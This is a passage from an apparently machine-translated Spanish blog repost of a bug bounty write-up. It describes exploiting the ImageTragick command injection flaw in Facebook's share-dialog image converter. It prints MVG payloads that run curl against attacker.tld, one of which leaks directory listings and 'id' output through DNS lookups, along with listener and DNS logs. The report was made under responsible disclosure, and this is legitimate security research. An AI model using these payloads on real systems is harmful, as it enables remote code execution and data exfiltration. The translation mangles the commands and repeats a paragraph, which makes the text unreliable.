CONOCIMIENTO pertenece al mundo
Quiero creer que todos ustedes saben acerca de ImageMagick y su Tragick. Este problema se encuentra en el final de la edición de abril de 2016, y debido a que muchos plugins de procesamiento depende de la librería ImageMagick este problema tiene un impacto enorme. Puesto que no había evidencias de que la información acerca de este problema estaba disponible no sólo para los investigadores, que lo descubrieron y de ImageMagick equipo de desarrollo, sino también para los demás, en el 3 de mayo, el año 2016 El informaciones (sin PoC) se dio a conocer. Muchos de los investigadores tiene esta fruta madura y descubrir aplicaciones que no se han actualizado en el tiempo. Pero por alguna razón imposible de conocer, no estaba entre ellos. Pero esto fue en mayo :)
Erase una vez el sábado en octubre que estaba probando algún servicio grande (no Facebook) cuando algún redireccionamiento me siguió en Facebook. Fue un «Compartir en Facebook» de diálogo:
https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F% 2Fwww.facebook.com y ext = 1476569763 y de hash = Aebid3vZFdh4UF1H
Muchos de los cuales se podía ver. Si miramos más de cerca, podemos ver que un `picture` parámetro es una URL. Pero no hay URL de la imagen en el contenido de la página, como se mencionó anteriormente. Por ejemplo:
https://www.google.com/images/errors/robot.png
se convierte en:
https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale= 1 y _nc_hash = AQD2uvqIgAdXgWyb
En primer lugar pensé en algún tipo de problema FRSS. Pero las pruebas mostraron que la URL de esta parámetros deseados a partir de 31.13.97. * Red por facebookexternalhit / 1.1 . Ejemplo:
nc -lvvv 8088 Conexión desde el 31.13.97. * Puerto 8088 [TCP / Radan-http] aceptado GET /exploit.png?ddfadsvdbv HTTP / 1.1 User-Agent: facebookexternalhit / 1.1 (+ http: //www.facebook.com/externalhit_uatext.php) Aceptar: * / * Accept-Encoding: desinflarse, gzip Anfitrión: attacker.tld Conexión: keep-alive
Se parece a una solicitud apropiada desde el servidor (s) aislado.
Pero en cualquier caso la aplicación convierte una imagen con algún tipo de convertidor y empecé a cavar más profundo. Después de algunas pruebas de este parámetro (uno de mis favoritos, que me trajo un montón de dinero - analizar SVG, que es un XML por diseño, para conseguir un problema FRSS de la instancia del convertidor, que no siempre es el mismo que el del servidor que se pidió imagen o , si estoy en gran suerte, para obtener un problema XXE.) me decepcionó. No los despedidos. ImageTragick era la última esperanza. Aunque no tenía esperanza. Si no está familiarizado con este tema o un poco perezoso - aquí es una URL PoC.
Pero en cualquier caso la aplicación convierte una imagen con algún tipo de convertidor y empecé a cavar más profundo. Después de algunas pruebas de este parámetro (uno de mis favoritos, que me trajo un montón de dinero - analizar SVG, que es un XML por diseño, para conseguir un problema FRSS de la instancia del convertidor, que no siempre es el mismo que el del servidor que se pidió imagen o , si estoy en gran suerte, para obtener un problema XXE.) me decepcionó. No los despedidos. ImageTragick era la última esperanza. Aunque no tenía esperanza. Si no está familiarizado con este tema o un poco perezoso - aquí es una URL PoC.
Sencillo de carga útil exploit.png :
empujar gráfico-contexto negatoscopio 0 0 640 480 imagen sobre 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http: //attacker.tld/" -d @ -> / dev / null`' pop-gráfico contexto
Drumroll ... y no pasa nada.
$ 80 nc -lvvv
Facepalm y bien.
- Pero, ¿y si ... si sólo hay algunas restricciones de firewall? - Me pregunté a mí mismo.
De acuerdo. A menudo sucede cuando la compañía bloqueó solicitudes comunes, pero no DNS. Vamos a tratar de carga útil:
empujar gráfico-contexto negatoscopio 0 0 640 480 imagen sobre 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http: //record_under_attacker_controled_ns_server.attacker.tld/" -d @ -> / dev / null`' pop-gráfico contexto
Y el resultado es:
IP:.. 31.13 * *; NetName: LLA1-11 NOMBRE: record_under_attacker_controled_ns_server.attacker.tld, Tipo: Un
Whois de esta IP dice que:
netname: LLA1-11 descr: Facebook
Vamos a empezar el partido
Por lo tanto, el flujo de trabajo de aplicación es:
- Obtiene `picture` parámetro y le pide que - esta solicitud es correcta y no vulnerables
- imagen recibida pasa a la instancia del convertidor que utiliza librería ImageMagick vulnerables
Para ser honesto he intentado encontrar forma común para explotar esta petición http pero las pruebas cortas muestran que, o bien todos los puertos de salida están cerradas o que van a pasar mucho tiempo para encontrar uno que sea abierta. Y fui otro modo que es suficiente para PoC.
Carga útil:
empujar gráfico-contexto negatoscopio 0 0 640 480 imagen sobre 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i en $ (ls /); hacer rizo "http: //$i.attacker.tld/" -d @ -> / dev / null; done` ' pop-gráfico contexto
Y el resultado fue:
NOMBRE: home.attacker.tld, Tipo: Un NOMBRE: boot.attacker.tld, Tipo: 28 NOMBRE: dev.attacker.tld, Tipo: 28 NOMBRE: bin.attacker.tld, Tipo: Un ...
y así…
`id` comando shell devueltos:
Nombre.: Uid = 99 (nobody) .attacker.tld, Tipo: 28 NOMBRE:. Groups = 99 (nobody) .attacker.tld, Tipo: Un NOMBRE:. Gid = 99 .attacker.tld (nadie), Tipo: Un
Para explotar plena prueba de que las obras que proporcioné Facebook equipo de seguridad con el resultado de la salida de `cat / proc / version` que no se va a publicar aquí.
De acuerdo con la Política de Divulgación Responsable de Facebook sin escalones más profundo se tomaron.
De acuerdo con la Política de Divulgación Responsable de Facebook sin escalones más profundo se tomaron.
Ya después del informe inicial discutimos con Neal del equipo de seguridad de Facebook que `cat / proc / version | base64` podría ser más útil y alguna investigación más profunda reveló que `base32` se usa más comúnmente para diversas técnicas que incluyen un túnel de DNS.
Fuente: http: //4lemon.ru
CONOCIMIENTO pertenece al mundo
No hay comentarios:
Publicar un comentario